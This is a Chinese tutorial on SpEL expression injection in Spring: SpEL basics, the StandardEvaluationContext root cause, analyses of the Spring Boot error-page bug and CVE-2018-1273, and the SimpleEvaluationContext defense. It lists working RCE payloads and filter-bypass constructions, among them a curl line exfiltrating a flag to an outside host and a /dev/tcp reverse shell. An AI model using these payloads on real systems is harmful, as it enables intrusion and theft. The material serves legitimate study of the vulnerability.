由浅入深SpEL表达式注入漏洞

栏目: Java · 发布时间: 5年前

内容简介:Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从

SpEL介绍

认识SpEL

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。除此以外SpEL还能做的有很多,从官方文档中我们可以看到,SpEL支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

基础用法以及使用场景

上方功能中加粗的几项是我们在其表达式安全中重点学习的地方,我们首先来看SpEL的常见用法,然后会依次介绍其中几项功能的基本用法,以及在部分框架中SpEl的使用位置。

1.SpEL API

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'");
String message = (String) exp.getValue();

这里使用了SpEL API来评估文字字符串表达式“Hello World”。我们通常用该方式来测试或者使用SpEL表达式。

其中接口 ExpressionParser 负责解析表达式字符串。在这个例子中,表达式字符串是由周围的单引号表示的字符串文字。之后接口 Expression 负责评估以前定义的表达式字符串。

所以说上述代码含义为首先创建 ExpressionParser 解析表达式,之后放置表达式,最后通过 getValue 方法执行表达式,默认容器是spring本身的容器: ApplicationContext

2.SpEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象: #{car}
引用其他对象的属性: #{car.brand}
调用其它方法 , 还可以链式操作: #{car.toString()}

其中属性名称引用还可以用 $ 符号 如: ${someProperty}
除此以外在SpEL中,使用 T() 运算符会调用类作用域的方法和常量。例如,在SpEL中使用 JavaMath 类,我们可以像下面的示例这样使用 T() 运算符:

#{T(java.lang.Math)}

T() 运算符的结果会返回一个 java.lang.Math 类对象。

具体常见表达式用法会在 4.功能用法示例 中给出。

3.SpEL在bean定义中

  1. XML配置
    <bean id="numberGuess" class="org.spring.samples.NumberGuess">
        <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
        <!-- other properties -->
    </bean>
    
  2. 基于注解的使用
    public class EmailSender {
        @Value("${spring.mail.username}")
        private String mailUsername;
        @Value("#{ systemProperties['user.region'] }")    
        private String defaultLocale;
        //...
    }
    

4.功能用法示例

Class expressions

1.类类型表达式

SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用 T() 操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了 java.lang 包下的类声明,也就是说 java.lang.String 可以通过 T(String) 访问,而不需要使用全限定名。

因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object ,然后再调用相应的方法或属性:

如:

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")");
Object value = exp.getValue();

成功弹出计算器

2.类实例化

使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问。

如:

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new java.util.Date()");
Date value = (Date) exp.getValue();
System.out.println(value);

Method invocation

方法使用典型的Java编程语法来调用。

如:

// string literal, evaluates to "bc"
String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class);
 
// evaluates to true
boolean isMember = parser.parseExpression("isMember('Mihajlo Pupin')").getValue(societyContext,Boolean.class);

Calling constructors

可以使用new调用构造函数。除了基元类型和字符串(其中可以使用int、float等)之外,所有的类都应该使用完全限定的类名。

如:

Inventor einstein = 
  p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein','German')").getValue(Inventor.class);
 
//create new inventor instance within add method of List
p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);

Bean references

如果解析上下文已经配置,则可以使用 @ 符号从表达式中查找bean。

ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new MyBeanResolver());
 
// This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
Object bean = parser.parseExpression("@foo").getValue(context);

Variables

变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义;在表达式中使用 #variableName 引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,使用 #root 引用根对象,使用 #this 引用当前上下文对象。

如:

ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("rui0");
context.setVariable("variable", "ruilin");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
 
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);
---------out------------
ruilin
rui0
rui0

在SpEL中比较常见的用途是针对一个特定的对象实例(称为root object)提供被解析的表达式字符串,当我们把 contextroot object 设置为一个对象时,我们在取的时候可以省略root对象这个前缀了。如下:

首先定义一个类

public class A {
    String name;
 
    public String getName() {
        return name;
    }
 
    public void setName(String name) {
        this.name = name;
    }
 
    public A(String name) {
        this.name = name;
    }
}

设置 root object 后SpEL执行以及结果如下

A a=new A("ruilin");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("name");
EvaluationContext context = new StandardEvaluationContext(a);
String name = (String) exp.getValue(context);
System.out.println(name);
exp.setValue(context,"ruilin setValue");
name = (String) exp.getValue(context);
System.out.println(name);
System.out.println(a.getName());
---------out------------
ruilin
ruilin setValue
ruilin setValue

这里在执行表达式时,SpEL会在内部使用反射从根对象中获取/设置属性的值。

User defined functions

用户可以在SpEL注册自定义的方法,将该方法注册到 StandardEvaluationContext 中的 registerFunction(String name, Method m) 方法。

如:

我们通过JAVA提供的接口实现字符串反转的方法。

public abstract class StringUtils {
 
  public static String reverseString(String input) {
    StringBuilder backwards = new StringBuilder();
    for (int i = 0; i < input.length(); i++) 
      backwards.append(input.charAt(input.length() - 1 - i));
    }
    return backwards.toString();
  }
}

我们可以通过如下代码将方法注册到 StandardEvaluationContext 并且来使用它。

ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("reverseString", 
                         StringUtils.class.getDeclaredMethod("reverseString", 
                                                             new Class[] { String.class }));
String helloWorldReversed = 
          parser.parseExpression("#reverseString('hello')").getValue(context, String.class);

Templated expressions

表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用 #{} 作为分隔符。

如:

String randomPhrase = parser.parseExpression(
        "random number is #{T(java.lang.Math).random()}",
        new TemplateParserContext()).getValue(String.class);
//evaluates to "random number is 0.703101106101103120010"

该字符串是通过连接文字”random number is”与 计算表达式的 #{} 定界符获取的结果,在此情况下的结果 中调用一个随机()方法。第二个参数的方法 parseExpression() 是类型 ParserContext 的。在 ParserContext 接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的 TemplateParserContext 的定义如下所示。

public class TemplateParserContext implements ParserContext {
 
    public String getExpressionPrefix() {
        return "#{";
    }
 
    public String getExpressionSuffix() {
        return "}";
    }
 
    public boolean isTemplate() {
        return true;
    }
}

更多细节可查看官方文档

SpEL导致的任意命令执行

漏洞原因

从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个SpEL安全中造成RCE漏洞的区域。因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext ,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

由浅入深SpEL表达式注入漏洞

其中容易造成漏洞的两个位置是

1.针对一个特定的对象实例提供被解析的表达式字符串

如之前用法示例中 Variables 所介绍,可能造成指定属性名被构造成恶意代码

2.双重EL表达式评估

如:

<nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">

这个很明显通过两次EL表达式执行后,如果可以控制传入的 directoryNameForPopup 参数为恶意代码就会造成漏洞发生

我们可以再看下SpEL提供的两个 EvaluationContext 的区别。

(EvaluationContext评估表达式以解析属性,方法或字段并帮助执行类型转换时使用该接口。有两个开箱即用的实现。)

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开Spal语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持SpEL语言语法的一个子集。它不包括 Java类型引用,构造函数和bean引用。

所以说指定正确 EvaluationContext ,是防止SpEl表达式注入漏洞产生的首选,之前出现过相关的SpEL表达式注入漏洞,其修复方式就是使用 SimpleEvaluationContext 替代 StandardEvaluationContext

常用payload

${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

关键字黑名单过滤绕过:

可以参考之前Code-Breaking Puzzles — javacon的这道题目(writeup http://rui0.cn/archives/1015 ),主要通过正则匹配java关键词(如: java.+lang exec.*\( 等)来防御,其绕过方式有两种 如下:

  1. 利用反射构造
    #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
        .getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
            .getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),
                    new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}
    
  2. 利用ScriptEngineManager构造
    #{T(javax.script.ScriptEngineManager).newInstance()
        .getEngineByName("nashorn")
            .eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
    

在Nuxeo RCE中也有个黑名单绕过,因为它过滤了 .getClass(
所以采取的姿势是通过SpEL语法的集合选择绕过,payload如下。具体分析可见( http://www.polaris-lab.com/index.php/archives/613

''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]
    .invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]
        .invoke(null),'curl 172.17.0.1:9898')

除此以外当执行的系统命令被过滤或者被URL编码掉时我们可以通过 String 类动态生成字符

如要执行的命令为 open /Applications/Calculator.app 我们可以采用 new java.lang.String(new byte[]{<ascii value>,<ascii value>,...}) 或者 concat(T(java.lang.Character).toString(<ascii value>)) 嵌套来绕过

两种构造方式的 python 脚本如下:

message = input('Enter message to encode:')
 
print('Decoded string (in ASCII):\n')
 
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('\n')
 
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
   print(',%s' % ord(ch), end=""), 
print(')}')

加工一下即为

T(java.lang.Runtime).getRuntime().exec(
        T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112))
    )

成功执行

由浅入深SpEL表达式注入漏洞

其次如果有输出点需要回显可以使用

T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())

漏洞案例分析

SpringBoot SpEL表达式注入漏洞

影响版本:

1.1.0-1.1.12

1.2.0-1.2.7

1.3.0

首先搭建存在漏洞版本的SpringBoot,创建一个controller并抛出异常

只要在异常信息中包含SpEL表达式即可注入

@Controller
public class TestController {
    @RequestMapping("/")
    public String test(String payload){
        System.out.println("test");
        throw new IllegalArgumentException(payload);
    }
}

请求地址

http://127.0.0.1:8181/?payload=${new%20java.lang.String(new%20byte[]{114,117,105,108,105,110})}

可以看到成功输出

由浅入深SpEL表达式注入漏洞

其造成的原因主要是在 ErrorMvcAutoConfiguration.java 中的 SpelView

private static class SpelView implements View {
        private final String template;
        private final StandardEvaluationContext context = new StandardEvaluationContext();
        private PropertyPlaceholderHelper helper;
        private PlaceholderResolver resolver;
 
        public SpelView(String template) {
            this.template = template;
            this.context.addPropertyAccessor(new MapAccessor());
            this.helper = new PropertyPlaceholderHelper("${", "}");
            this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context);
        }
 
        public String getContentType() {
            return "text/html";
        }
 
        public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
            if(response.getContentType() == null) {
                response.setContentType(this.getContentType());
            }
 
            Map<String, Object> map = new HashMap(model);
            map.put("path", request.getContextPath());
            this.context.setRootObject(map);
            String result = this.helper.replacePlaceholders(this.template, this.resolver);
            response.getWriter().append(result);
        }
    }

该类调用处为

private final ErrorMvcAutoConfiguration.SpelView defaultErrorView = new ErrorMvcAutoConfiguration
    .SpelView("<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>");

可以知道 SpelView 主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据

SpelView 中,首先我们可以观察到其使用了 StandardEvaluationContext

private final StandardEvaluationContext context = new StandardEvaluationContext();

之后

this.helper = new PropertyPlaceholderHelper("${", "}");

用于递归解析在 ${...} 中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前 contextrootObject 取相关数据 如 timestamp (上方功能用法示例中-> Variables 中介绍过)

由浅入深SpEL表达式注入漏洞

大致流程为 PropertyPlaceholderHelper 类中通过 parseStringValue 方法递归字符串找到目标去掉 $() ,这个方法中调用 resolvePlaceholder 方法来在 context 中找到对应的 name ,并在这里执行了 getValue 操作。由此造成命令执行。代码如下。

public String resolvePlaceholder(String name) {
        Expression expression = this.parser.parseExpression(name);
 
        try {
            Object value = expression.getValue(this.context);
            return HtmlUtils.htmlEscape(value == null?null:value.toString());
        } catch (Exception var4) {
            return null;
        }
    }

其核心思想就是在递归中从 context 下的 message 中取出需要再次递归解析的 $(payload) ,由此来在下一次的解析后去掉 $() 并把其中 payload 当作传入的 name 参数来执行 getValue 操作。

由浅入深SpEL表达式注入漏洞

其补丁是创建了一个新的 NonRecursivePropertyPlaceholderHelper 类,来防止递归解析路径中或者名字中含有的表达式。

详见: https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

影响版本:

1.13-1.13.10

2.0-2.0.5

漏洞主要因为是在自动解析用户的参数的时候采用了SpEL去解析 propertyName

我们直接从补丁看漏洞代码是位于 MapPropertyAccessor 类的 setPropertyValue 方法

由浅入深SpEL表达式注入漏洞

可以看到这是很直接的之前错误的使用了 StandardEvaluationContext 造成的RCE,修复方式也是主要通过替换为 SimpleEvaluationContext 完成。

漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。

漏洞代码:

private static class MapPropertyAccessor extends AbstractPropertyAccessor {
       public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
           if (!this.isWritableProperty(propertyName)) {
               throw new NotWritablePropertyException(this.type, propertyName);
           } else {
               StandardEvaluationContext context = new StandardEvaluationContext();
               context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
               context.setTypeConverter(new StandardTypeConverter(this.conversionService));
               context.setRootObject(this.map);
               Expression expression = PARSER.parseExpression(propertyName);
               PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
               TypeInformation<?> owningType = leafProperty.getOwningType();
               TypeInformation<?> propertyType = leafProperty.getTypeInformation();
               propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
               if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
                   PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
                   if (descriptor == null) {
                       throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
                   }
                   MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
                   TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
                   if (typeDescriptor == null) {
                       throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
                   }
                   value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
               }
               expression.setValue(context, value);
           }
       }

开发者使用如下代码:

@RequestMapping(method = RequestMethod.POST)
public Object register(UserForm userForm, BindingResult binding, Model model) {
 
        userForm.validate(binding, userManagement);
        if (binding.hasErrors()) {
            return "users";
        }
 
        userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
 
        RedirectView redirectView = new RedirectView("redirect:/users");
        redirectView.setPropagateQueryParams(true);
 
        return redirectView;
   }

其流程简单上说就是在获取POST过来的参数时候因为要自动绑定进入实体类,所以首先要通过 isWritableProperty 中调用的 getPropertyPath 来判断参数名。如:传来的username参数是否是开发者controller中接收的 UserForm 实体类里的一个属性名。然后把用户传入的参数key即 propertyName 进行 PARSER.parseExpression(propertyName) ,最后 setValue(context,value) 触发了恶意代码。(上方功能用法示例中-> Variables 中介绍过)

细节如果需要了解可以自己调试一下。

payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open /Applications/Calculator.app")]=ruilin&password=ruilin&repeatedPassword=ruilin
由浅入深SpEL表达式注入漏洞

setValue(context,value) 时候会把 propertyName 内的username作为一个集合,利用了SpEL集合选择的功能,所以就会执行中括号里面的SpEL表达式了。

由浅入深SpEL表达式注入漏洞

防御方式

因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了 SimpleEvaluationContext 作为安全类来防御该类漏洞。

官方文档: https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html

常见用法:

A a=new A("ruilin");
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(a).build();
String name = (String) exp.getValue(context);
System.out.println(name);
---------out------------
ruilin

总结

经过常见用法以及几个案例分析,我们可以知道,事实上在一般的开发后台过程中我们基本不会写出这样的漏洞点,一般就是通过注解或者XML用其Bean以及上下文中变量的存取功能。而出现漏洞的位置基本有两种,一是相关框架中在需要用一种通用的方法获取或者设置某对象中指定属性名的属性值的时候,也可以说使用SpEL的地方往往就是需要利用它内部使用反射的这个特点,从而可以省去我们编写的麻烦,来达到一些目的。二是在双重EL表达式评估中发生。发现该漏洞可以通过这些关键触发方法或者类如 getValueStandardEvaluationContext 等,当然也可以通过 find-sec-bug 这个插件来寻找。其防御方式是使用 SimpleEvaluationContext 来禁用其敏感的功能,从而阻止表达式注入执行问题的出现。

参考


以上所述就是小编给大家介绍的《由浅入深SpEL表达式注入漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法导论

算法导论

[美] Thomas H. Cormen、Charles E. Leiserson、Ronald L. Rivest、Clifford Stein / 高等教育出版社 / 2002-5 / 68.00元

《算法导论》自第一版出版以来,已经成为世界范围内广泛使用的大学教材和专业人员的标准参考手册。 这本书全面论述了算法的内容,从一定深度上涵盖了算法的诸多方面,同时其讲授和分析方法又兼顾了各个层次读者的接受能力。各章内容自成体系,可作为独立单元学习。所有算法都用英文和伪码描述,使具备初步编程经验的人也可读懂。全书讲解通俗易懂,且不失深度和数学上的严谨性。第二版增加了新的章节,如算法作用、概率分析......一起来看看 《算法导论》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器